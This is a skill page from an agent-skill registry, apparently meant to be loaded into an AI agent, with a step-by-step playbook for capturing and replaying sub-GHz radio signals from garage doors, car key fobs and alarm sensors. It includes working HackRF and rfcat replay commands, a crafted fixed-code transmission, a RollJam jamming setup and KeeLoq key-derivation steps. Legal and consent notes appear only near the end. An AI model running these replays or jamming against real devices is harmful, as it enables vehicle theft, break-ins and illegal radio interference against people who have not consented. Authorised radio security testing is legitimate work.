CtrlK
BlogDocsLog inGet started
Tessl Logo

sub-ghz

Sub-GHz RF capture and replay for 433/868/915 MHz ISM-band targets (garage doors, car keys, alarm sensors, weather stations). Covers fixed-code replay with HackRF/Flipper Zero/RTL-SDR, rolling-code analysis with rfcat, signal visualization with inspectrum and Universal Radio Hacker, and encoding/modulation identification.

68

Quality

82%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

Sub-GHz ISM Band Capture and Replay

The 433/868/915 MHz ISM bands host a vast range of devices: garage door openers, car remote entry, alarm sensors, smart meters, weather stations, baby monitors, and industrial telemetry. Most use OOK or FSK modulation with no authentication. Fixed-code devices are trivially replayed. Rolling- code devices (KeeLoq, HiTag2) require additional analysis but have documented weaknesses.

Prerequisites

  • Hardware (any one or more):

    • HackRF One (1 MHz–6 GHz, TX+RX, 20 Msps) — most versatile.
    • Flipper Zero (sub-GHz module, 300–928 MHz) — fastest field replay.
    • RTL-SDR Blog v4 (receive only, 24 MHz–1766 MHz) — cheapest capture.
    • YARD Stick One (rfcat, 300–928 MHz, CC1111 based, TX+RX) — scriptable.
    • Proxmark3 (car key HiTag2 analysis, NFC — separate workload).
  • Software: rfcat, inspectrum, Universal Radio Hacker (URH), rtl_433, GNU Radio, hackrf_transfer, SigDigger, rpitx (Raspberry Pi TX alternative).

# Install rfcat (YARD Stick One / CC1111 based tools):
pip install rfcat

# Install rtl_433 (auto-decodes hundreds of 433 MHz devices):
apt install rtl-433  # or build from https://github.com/merbanan/rtl_433

# Universal Radio Hacker:
pip install urh

# inspectrum (IQ file visualization):
apt install inspectrum

Frequency and Modulation Quick Reference

FrequencyRegion / UseCommon modulation
433.92 MHzEU/AS garage, keyfobs, sensorsOOK-PWM, OOK-Manchester
315 MHzUS garage doors, legacy keyfobsOOK-PWM
868.35 MHzEU alarms, smart meters, LoRa overlapFSK, OOK
915 MHzUS ISM (LoRa, sensors, meters)FSK, OOK
303 MHzUS TPMS, some car remotesOOK
868.95 MHzKNX, some home automationFSK

Phase 1: Passive Capture and Signal Identification

RTL-SDR (receive only)

# Wideband spectrum survey — see what's broadcasting in the ISM band:
rtl_sdr -f 433920000 -s 2400000 -g 40 /tmp/433_survey.iq

# Auto-decode known 433 MHz devices (weather stations, door sensors, etc.):
rtl_433 -f 433920000 -s 250k -g 40 -F json | tee /tmp/rtl433_decode.json

# For continuous monitoring and logging:
rtl_433 -f 433.92M -s 250k -R 0 -F json -M utc | tee -a /tmp/rtl433_live.json

HackRF capture

# Capture 10 seconds of IQ at 433.92 MHz:
hackrf_transfer -r /tmp/433_capture.iq -f 433920000 -s 2000000 -l 32 -g 40 -n 20000000

# For 868 MHz EU targets:
hackrf_transfer -r /tmp/868_capture.iq -f 868350000 -s 2000000 -l 32 -g 40 -n 20000000

Flipper Zero (fastest field method)

On Flipper Zero:

  • Sub-GHz → Frequency Analyzer: identifies active frequencies.
  • Sub-GHz → Read: captures and stores a signal to flash.
  • Sub-GHz → Read Raw: stores raw IQ for later analysis.
# Via Flipper CLI (qFlipper / USB serial):
# Export captured signals:
flipper_tx read /ext/subghz/captures/signal_001.sub

Phase 2: Signal Analysis with inspectrum and URH

# Visualize IQ capture in inspectrum (shows spectrogram + symbol clock):
inspectrum /tmp/433_capture.iq -r 2000000

# Open in URH for automatic modulation detection and bit decoding:
urh /tmp/433_capture.iq
# URH auto-detection: Signal → Autodetect parameters → shows encoding
# (OOK, FSK, PSK), bit rate, and decoded bits.

Key parameters to identify:

  • Modulation: OOK (On-Off Keying) = on/off pattern; FSK = two frequencies.
  • Bit rate: measure pulse width in inspectrum (typical: 1000–4000 bps for OOK remotes).
  • Encoding: PWM (pulse-width), Manchester, NRZ, biphase.
  • Preamble: usually alternating 01010101 or a long carrier burst.

Phase 3: Fixed-Code Replay

With HackRF

# Replay a captured signal exactly as recorded:
hackrf_transfer -t /tmp/433_capture.iq -f 433920000 -s 2000000 -x 47 -R  # -R = repeat

# Trim the IQ file to a single clean burst before replaying:
python3 - <<'EOF'
import numpy as np

iq = np.fromfile("/tmp/433_capture.iq", dtype=np.int8)
# Find signal burst (amplitude threshold):
amplitude = np.abs(iq[0::2].astype(float) + 1j * iq[1::2].astype(float))
threshold = amplitude.max() * 0.3
start = np.argmax(amplitude > threshold) - 100
end   = len(amplitude) - np.argmax(amplitude[::-1] > threshold) + 100
burst = iq[start*2:end*2]
burst.tofile("/tmp/433_burst_trimmed.iq")
print(f"Burst: {start}–{end} samples ({(end-start)/2e6*1000:.1f} ms)")
EOF

hackrf_transfer -t /tmp/433_burst_trimmed.iq -f 433920000 -s 2000000 -x 47

With YARD Stick One / rfcat

import rflib, time

d = rflib.RfCat()
d.setFreq(433920000)       # 433.92 MHz
d.setMdmModulation(rflib.MOD_ASK_OOK)
d.setMdmDRate(1000)        # 1000 bps — adjust to target
d.setMdmSyncMode(0)        # no sync word
d.setPktPktLen(50)         # raw mode

# Transmit a manually crafted OOK bitstream (hex encoded):
# Garage door fixed code example (Princeton PT2262 style):
# Preamble + 24-bit code:
payload = bytes.fromhex("AAAAAAAAFAF0F0F0FAFAFAFAF0F0FAFAFAFAFAF0F0F0FA00")
d.RFxmit(data=payload, repeat=5)
print("[+] Transmitted fixed code.")

With Flipper Zero

After capturing with Sub-GHz → Read:

  • Navigate to the saved file.
  • Select Send → transmits the captured signal.

Phase 4: Rolling Code Analysis (KeeLoq / HiTag2)

Most modern car fobs and garage doors use rolling codes. The rolling-code counter increments on each press; replaying an old code fails (the receiver tracks the last used counter).

Attack vectors:

  1. RollJam (Samy Kamkar, 2015): jam the legitimate signal + capture it, then jam again + capture, then release first captured code while holding the second. The receiver sees code N (accepts), and code N+1 is held by attacker.
# RollJam requires simultaneous jam + capture on a single SDR with TX capability.
# HackRF: transmit noise on 433.92 MHz to jam while recording with a second receiver.

# Jammer (HackRF):
hackrf_transfer -t /dev/urandom -f 433920000 -s 2000000 -x 40 &
JAMMER_PID=$!

# Capture on RTL-SDR simultaneously:
rtl_sdr -f 433920000 -s 2000000 -g 40 /tmp/capture_while_jamming.iq &
sleep 5

# Stop jammer; victim retransmits; capture second code:
kill $JAMMER_PID
  1. KeeLoq brute-force: if the manufacturer key is known (leaked or default), derive the per-device key from the serial number and predict future codes.
# keeloq-tools:
git clone https://github.com/ulissesdias/keeloq_tools
python3 keeloq_tools/keeloq_decrypt.py \
    --manufacturer-key AABBCCDDEEFF0011 \
    --serial 12345678 \
    --ciphertext DEADBEEF
  1. Long-range replay window: some receivers accept codes within a large resync window (up to 256 codes ahead). If you captured a code before the owner used it, replay within window.

Phase 5: OOK Signal Crafting for Specific Protocols

Chamberlain / LiftMaster (Security+ 2.0 — fixed encoder PT2262)

# PT2262 encoder: tristate (0/1/float), 24 bits, OOK-PWM.
# Bit timings: '0' = short pulse + long gap, '1' = long pulse + short gap, 'F' = medium+medium
BIT_RATE = 1000  # Hz
SHORT = int(2e6 / BIT_RATE / 3)  # samples
LONG  = SHORT * 3

def encode_pt2262(tristate_code: str, sample_rate=2_000_000) -> bytes:
    """Encode a PT2262 tristate code to OOK IQ (int8)."""
    iq = []
    for bit in tristate_code:
        if bit == '0':
            iq += [127] * SHORT + [0] * LONG
        elif bit == '1':
            iq += [127] * LONG + [0] * SHORT
        elif bit == 'F':
            iq += [127] * SHORT + [0] * SHORT
    # Add stop bit and silence:
    iq += [127] * SHORT + [0] * (LONG * 31)
    return bytes(iq)

Evidence

EVIDENCE="/workspace/evidence/sub-ghz/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/433_capture.iq "$EVIDENCE/"
cp /tmp/rtl433_decode.json "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
    kind="finding",
    label=f"Sub-GHz fixed-code replay success at {target_freq_mhz} MHz",
    props={
        "key": f"sub-ghz::{target_freq_mhz}::{target_id}",
        "frequency_mhz": target_freq_mhz,
        "modulation": "OOK-PWM",
        "code_type": "fixed",  # or "rolling"
        "replay_success": True,
        "hardware": "HackRF One",
        "source": "hackrf+rtl433",
    },
)

OPSEC Notes

  • RTL-SDR is purely passive — no transmission, zero legal risk during recon.
  • Any transmission (HackRF, YARD Stick One, Flipper Zero transmit) is legally restricted in most jurisdictions to frequencies you are licensed for or that fall within unlicensed power limits. 433.92 MHz at ≤10 mW is license-free in EU; 915 MHz similarly in US (FCC Part 15).
  • High-power replay (hackrf_transfer -x 47 is ~0 dBm output after antenna) is within Part 15 limits but confirm with RoE.
  • RollJam requires intentional interference with a legitimate transmission — constitutes jamming and requires explicit legal authorization in all jurisdictions.
  • Flipper Zero's sub-GHz module is transmit-capable but firmware restricts frequencies outside regional ISM band — verify firmware version.
  • Car key replay is covered by CFAA / Computer Fraud and Abuse Act (US) and equivalent; only test on vehicles you own or have explicit written consent for.

References

  • Universal Radio Hacker: https://github.com/jopohl/urh
  • rtl_433: https://github.com/merbanan/rtl_433
  • rfcat: https://github.com/atlas0fd00m/rfcat
  • inspectrum: https://github.com/miek/inspectrum
  • RollJam: Samy Kamkar DEF CON 23 (2015).
  • keeloq_tools: https://github.com/ulissesdias/keeloq_tools
  • Flipper Zero sub-GHz documentation: https://docs.flipper.net/sub-ghz
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.